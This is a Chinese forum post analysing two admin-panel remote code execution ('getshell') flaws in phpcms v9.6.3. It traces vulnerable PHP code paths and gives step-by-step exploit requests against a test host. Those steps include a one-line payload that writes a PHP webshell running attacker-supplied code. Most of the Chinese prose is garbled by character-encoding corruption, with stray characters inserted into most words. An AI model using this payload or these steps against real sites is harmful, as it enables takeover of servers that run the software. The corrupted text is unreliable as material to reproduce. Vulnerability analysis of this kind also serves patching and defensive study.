資源共享吧|易語(yǔ)言論壇|逆向破解教程|輔助開(kāi)發(fā)教程|網(wǎng)絡(luò)安全教程|www.rigasin.com|我的開(kāi)發(fā)技術(shù)隨記
標(biāo)題: phpcmsv9.6.3漏洞之后臺(tái)幾處漏洞分析 [打印本頁(yè)]
作者: 1366875557 時(shí)間: 2019-5-20 14:33
標(biāo)題: phpcmsv9.6.3漏洞之后臺(tái)幾處漏洞分析
phpcmsv9.6.3漏洞之后臺(tái)GETSHELL
(, 下載次數(shù): 104)
首先全局搜一下調(diào)用include或者require的地方
(, 下載次數(shù): 88)
跟進(jìn)到
if (@file_put_contents($filepath,$str)) {
ob_start();
include $filepath;
$html = ob_get_contents();
ob_clean();
@unlink($filepath);
}
往上走
$str = $tpl->template_parse(new_stripslashes($template));
字符串是從這里取出,往上走
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
直接post過(guò)數(shù)據(jù)來(lái),沒(méi)經(jīng)過(guò)任何處理,那么只要構(gòu)造一下傳過(guò)惡意數(shù)據(jù)來(lái)即可。
首先向
http://www.test.com/phpcms/install_package/index.php?m=block&c=block_admin&pc_hash=B8mgrw&a=add&pos=1
post:dosubmit=1&name=ac&type=2
然后填入payload
<?php file_put_contents("phpcms_shell.php","<?php eval($_POST[1]);?>");
GETSHELL(二)另外一個(gè)地方是利用cache處的編譯,因?yàn)闆](méi)有限制模板文件路徑,導(dǎo)致只要有可控的html頁(yè)面,即可到達(dá)include實(shí)現(xiàn)getshell。
首先看modules\admin\category.php處
$setting = $_POST['setting'];
if($_POST['info']['type']!=2) {
//欄目生成靜態(tài)配置
if($setting['ishtml']) {
$setting['category_ruleid'] = $_POST['category_html_ruleid'];
} else {
$setting['category_ruleid'] = $_POST['category_php_ruleid'];
$_POST['info']['url'] = '';
}
}
//內(nèi)容生成靜態(tài)配置
if($setting['content_ishtml']) {
$setting['show_ruleid'] = $_POST['show_html_ruleid'];
} else {
$setting['show_ruleid'] = $_POST['show_php_ruleid'];
}
if($setting['repeatchargedays']<1) $setting['repeatchargedays'] = 1;
$_POST['info']['sethtml'] = $setting['create_to_html_root'];
//die(print_r($setting));
$_POST['info']['setting'] = array2string($setting);
die(print_r($_POST['info']));
$end_str = $old_end = '<script type="text/javascript">window.top.art.dialog({id:"test"}).close();window.top.art.dialog({id:"test",content:\'<h2>'.L("add_success").'</h2><span style="fotn-size:16px;">'.L("following_operation").'</span><br /><ul style="fotn-size:14px;"><li><a href="?m=admin&c=category&a=public_cache&menuid=43&module=admin" target="right" >'.L("following_operation_1").'</a></li><li><a href="'.HTTP_REFERER.'" target="right">'.L("following_operation_2").'</a></li></ul>\',width:"400",height:"200"});</script>';
if(!isset($_POST['batch_add']) || empty($_POST['batch_add'])) {
$catname = CHARSET == 'gbk' ? $_POST['info']['catname'] : iconv('utf-8','gbk',$_POST['info']['catname']);
$letters = gbk_to_pinyin($catname);
$_POST['info']['letter'] = strtolower(implode('', $letters));
$catid = $this->db->insert($_POST['info'], true);
setting信息沒(méi)有經(jīng)過(guò)任何處理直接插入數(shù)據(jù)庫(kù),也就是達(dá)到了上文沒(méi)有限制模板文件路徑。
那么繼續(xù)往下找,setting[page_template]字段既然有入庫(kù)操作,必然有出庫(kù)操作。
全局搜索一下
跟進(jìn)第一處,往下走看到
include template('content',$template);
跟進(jìn)template函數(shù),在libs\functions\globals.func.php,主要代碼如下
$compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
if(file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
if(!file_exists($compiledtplfile) || (@filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > @filemtime($compiledtplfile))) {
$template_cache->template_compile($module, $template, $style);
}
} else {
$compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
if(!file_exists($compiledtplfile) || (file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') && filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > filemtime($compiledtplfile))) {
$template_cache->template_compile($module, $template, 'default');
} elseif (!file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
showmessage('Template does not exist.'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html');
}
}
就是一個(gè)編譯的過(guò)程,繼續(xù)跟入template_compile,主要代碼如下
$content = @file_get_contents ( $tplfile );
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR;
if(!is_dir($filepath)) {
mkdir($filepath, 0777, true);
}
$compiledtplfile = $filepath.$template.'.php';
$content = $this->template_parse($content);
$strlen = file_put_contents ( $compiledtplfile, $content );
tpfile=>page_template,然后就是編譯成php的過(guò)程,現(xiàn)在即可到達(dá)include實(shí)現(xiàn)這個(gè)條件也達(dá)成,然后只是去找個(gè)可控的html文件。
可控的html文件比較多,如下
(, 下載次數(shù): 90)
(, 下載次數(shù): 86)
結(jié)合上面
(, 下載次數(shù): 90)
因?yàn)閎urp不方便直接抓包,先提交然后看history
(, 下載次數(shù): 80)
然后找到catid
(, 下載次數(shù): 81)
訪問(wèn)
http://www.test.com/phpcms_v9.6.3_UTF8/install_package/index.php?m=content&c=index&a=lists&catid=15
即可getshell。
歡迎光臨 資源共享吧|易語(yǔ)言論壇|逆向破解教程|輔助開(kāi)發(fā)教程|網(wǎng)絡(luò)安全教程|www.rigasin.com|我的開(kāi)發(fā)技術(shù)隨記 (http://www.rigasin.com/) |
Powered by Discuz! X3.4 |